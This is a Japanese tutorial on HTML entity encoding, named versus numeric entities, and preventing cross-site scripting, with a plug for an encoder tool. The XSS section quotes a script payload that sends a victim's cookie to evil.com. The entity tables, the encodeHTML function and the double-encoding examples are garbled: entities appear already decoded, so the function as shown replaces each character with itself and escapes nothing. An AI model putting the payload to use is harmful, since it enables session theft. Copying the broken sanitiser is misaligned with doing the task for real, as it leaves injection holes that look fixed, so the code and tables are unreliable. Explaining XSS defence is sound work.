HTMLエンティティエンコーディングガイド:Webページを保護する
Webページで <div> タグをテキストとして表示しようとして、DOMの中に消えてしまった経験があるなら、この問題はすでにご存知でしょう。ブラウザは特定の文字をコンテンツではなくマークアップ命令として解釈します。HTMLエンティティは、ブラウザに「この文字を解釈せず、そのまま表示して」と伝える方法です。
このガイドでは、実際に使うエンティティ、エンコーディングが重要になるタイミング、そしてエンコーディングを省略した場合に生じるセキュリティの脆弱性を避ける方法を解説します。
HTMLエンティティが存在する理由
HTMLはいくつかの文字を構造的な区切り文字として使用します。主要な3つ:
<はタグを開く>はタグを閉じる&はエンティティ参照を開始する
ブラウザのパーサーが <script> に遭遇すると、テキストを表示するのではなくJavaScriptを実行します。© に遭遇すると ©をレンダリングします。この二重の性質は、これらの文字を表示可能なテキストとして見せたい場合、HTMLエンティティを使ってエスケープする必要があることを意味します。
HTMLエンティティは & で始まり ; で終わる文字列です。これらの区切り文字の間には、名前付き参照(amp など)または数値コードポイント(#38 など)があります。
よく使うHTMLエンティティリファレンス
最も頻繁に使用するエンティティです:
| 文字 | 名前付きエンティティ | 数値エンティティ | 説明 |
|---|---|---|---|
& | & | & | アンパサンド |
< | < | < | 小なり記号 |
> | > | > | 大なり記号 |
" | " | " | 二重引用符 |
' | ' | ' | 一重引用符(アポストロフィ) |
| (空白) | |   | ノーブレークスペース |
| © | © | © | 著作権 |
| — | — | — | emダッシュ |
| … | … | … | 省略記号 |
| € | € | € | ユーロ記号 |
| ™ | ™ | ™ | 商標 |
最初の5つは必須です。ユーザー生成コンテンツをレンダリングしたりコードを表示する場合、&、<、>、"、' を常に使うことになります。
ノーブレークスペース:目立たない存在
は2つの単語間での改行を防ぎます。単なる「追加のスペース」ではありません。ブラウザは複数の通常スペースを1つに圧縮しますが、 は常にレンダリングされます。使用場面:
- 数値と単位を一緒に保つ:
100 km - 段落末尾の孤立した単語を防ぐ
- 価格のフォーマット:
¥ 9,999
レイアウトのスペーシングに を使わないでください。それはCSSの margin と padding の役割です。
名前付き vs 数値 vs 16進数エンティティ
同じエンティティを3つの方法で書けます:
<!-- 名前付きエンティティ -->
&
<!-- 10進数数値エンティティ -->
&
<!-- 16進数数値エンティティ -->
&
3つとも アンパサンド文字 & を生成します。使い分け:
名前付きエンティティ(&、<、©)は可読性が高く自己文書化されています。HTMLソースコードで & を見れば、意図が即座に伝わります。一般的な文字に使用してください。
10進数数値エンティティ(&、©)は、名前付き参照のない文字を含む任意のUnicodeコードポイントに対応します。名前付きエンティティのない文字が必要な場合や、プログラムでHTMLを生成する場合に使用してください。
16進数エンティティ(&、©)は10進数と同じですが、16進数表記を使用します。Unicodeテーブル(コードポイントを16進数で列挙)で作業する場合や、ツールが16進数値を出力する場合に便利です。
実務では、一般的な文字には名前付きエンティティを使い、それ以外には数値エンティティを使ってください。名前付きエンティティはすべてのブラウザでサポートされ、ソースコードでの可読性がはるかに高いです。
HTML文字をエンコードすべきタイミング
コードスニペットの表示
ページにコード例を表示する場合、すべての < と > のエンコーディングが必要です:
<!-- これは壊れる -->
<p><div>タグをコンテナに使用してください。</p>
<!-- これは動作する -->
<p><div>タグをコンテナに使用してください。</p>
ほとんどのテンプレートエンジンやフレームワークは、標準的な出力構文(テンプレート言語の {{ variable }} やJSXの {variable} など)を使用する場合、これを自動的に処理します。しかし、生のHTMLを書いたり innerHTML でコンテンツを挿入する場合は、自分で対処する必要があります。
ユーザー生成コンテンツ
ユーザーから来るすべてのコンテンツ(フォーム入力、コメント、プロフィールフィールド、検索クエリ)は、レンダリング前にエンコードする必要があります。これはセキュリティ要件であり、オプションではありません。
HTMLメール
メールクライアントは文字のレンダリングが非常に不安定なことで有名です。特殊文字をエンティティとしてエンコードすることで、Gmail、Outlook、Apple Mail、その他すべてのクライアントで正しく表示されることが保証されます。
コンテンツ管理システム
CMSを構築または使用している場合、コンテンツパイプラインは出力段階でHTMLエンティティをエンコードする必要があります。データベースに保存されたコンテンツは生のままでもよいですが、ブラウザに届くものはエスケープされていなければなりません。
XSS対策:エンコーディングがセキュリティ問題である理由
ユーザー入力をHTMLにレンダリングする前にエンコードしないことは、クロスサイトスクリプティング(XSS)脆弱性の最も一般的な原因です。これは理論上のリスクではありません。XSSは一貫してOWASP Top 10に入っており、活発に悪用されています。
XSSの仕組み
ユーザーが検索した内容を表示する検索ページを考えてみてください:
<!-- サーバーがこれをレンダリング -->
<p>検索結果:ユーザー入力</p>
ユーザーが javascript tutorials のような通常のテキストを入力すれば問題ありません。しかし、次のように入力した場合:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
エンコードなしでは、ブラウザは本物の <script> タグとして認識し実行します。攻撃者は被害者のCookie、セッショントークン、そして潜在的にアカウントへの完全なアクセス権を手に入れます。
解決策
信頼できないデータをHTMLに挿入する前に、5つの重要な文字をエンコードしてください:
| 文字 | エンティティ | 重要な理由 |
|---|---|---|
& | & | エンティティインジェクションの防止 |
< | < | タグインジェクションの防止 |
> | > | 挿入されたタグの終了 |
" | " | 属性からの脱出を防止 |
' | ' | 属性からの脱出を防止(一重引用符) |
最小限のエンコーディング関数:
function encodeHTML(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
順序に注意してください:& を最初に置換する必要があります。< を先に置換すると(< が生成される)、次に & を置換する際に < が &lt; になり、二重エンコーディングが発生します。
エンコーディングだけではすべてのXSSコンテキストをカバーできません。ユーザーデータをJavaScript、CSS、またはURL属性に挿入する場合、コンテキスト固有のエンコーディングが必要です。HTMLエンティティエンコーディングはHTML本文と属性コンテキストのみを保護します。
フレームワークレベルの保護
モダンフレームワークはデフォルトでエンコーディングを処理します:
- React:JSXは
{}式の値を自動的にエスケープします。dangerouslySetInnerHTMLはこれを回避します。ユーザーコンテンツには使用しないでください。 - Angular:テンプレートバインディングは自動的にサニタイズされます。
[innerHTML]はサニタイズを回避します。 - Vue:マスタッシュ構文
{{ }}は自動的にエスケープします。v-htmlはエスケープしません。 - サーバーサイドテンプレート(EJS、Jinja2、Twig):ほとんどはデフォルトでエスケープしますが、設定を確認してください。
パターンは一貫しています:標準パスは安全で、生のHTML用のエスケープハッチが常にあります。ユーザー入力をエスケープハッチに通さないでください。
ツールでHTMLをエンコード
HTMLエンティティを素早くエンコードまたはデコードしたいですか?HTMLエンコーダーツールが即座に処理します:
- テキストを貼り付けて、ワンクリックでエンコード済みの出力を取得
- すべての名前付きおよび数値エンティティをサポート
- エンティティを読めるテキストにデコード
- すべてクライアントサイドで処理—データはブラウザから出ません
HTMLメール用のコンテンツ準備、ドキュメント用のコードスニペットのエンコード、テンプレートへの埋め込み前のテキストサニタイズに特に便利です。
避けるべきよくある間違い
二重エンコーディング:テキストをエンコーダーに2回通すと & が &amp; になります。ページで & がリテラルテキストとして表示される場合、パイプラインのどこかで二重エンコーディングが発生しています。
<script> タグ内でのエンコーディング:HTMLエンティティエンコーディングはスクリプトブロック内では機能しません。JavaScriptパーサーは < を理解せず、リテラル文字列 < として認識します。インラインスクリプトにはJavaScript文字列エスケープを使用してください。
スペーシングに を使用:アクセシビリティの問題が生じます。スクリーンリーダーがノーブレークスペースを個別に読み上げる場合があります。視覚的なスペーシングにはCSSを使用してください。
属性値の忘れ:エンコーディングはテキストコンテンツだけのものではありません。属性値もエンコーディングが必要です。特にユーザー入力が含まれる場合:
<!-- 危険 -->
<input value="ユーザー入力">
<!-- 安全 -->
<input value=""エンコード済み"値">
クイックリファレンス:エンコーディング判断ツリー
- ユーザー生成コンテンツか? → 常にエンコード
- コードを表示しているか? →
<、>、&をエンコード - HTML属性に入るか? →
"と'もエンコード - URLに入るか? → 代わりにURLエンコーディングを使用(URLエンコーディングガイドを参照)
- JavaScriptに入るか? → HTMLエンティティではなくJavaScriptエスケープを使用
関連リソース
- Base64エンコーディング解説 — Web開発に不可欠なもう一つのエンコーディング形式を理解する
- URLエンコーディングガイド — URLでのパーセントエンコーディングのタイミングと方法を学ぶ
- HTMLエンコーダーツール — ブラウザでHTMLエンティティを即座にエンコード・デコード
🛠️ HTMLエンコーダーを試して、ブラウザで直接HTMLエンティティをエンコード・デコードしてください。サーバーにデータは一切送信されません。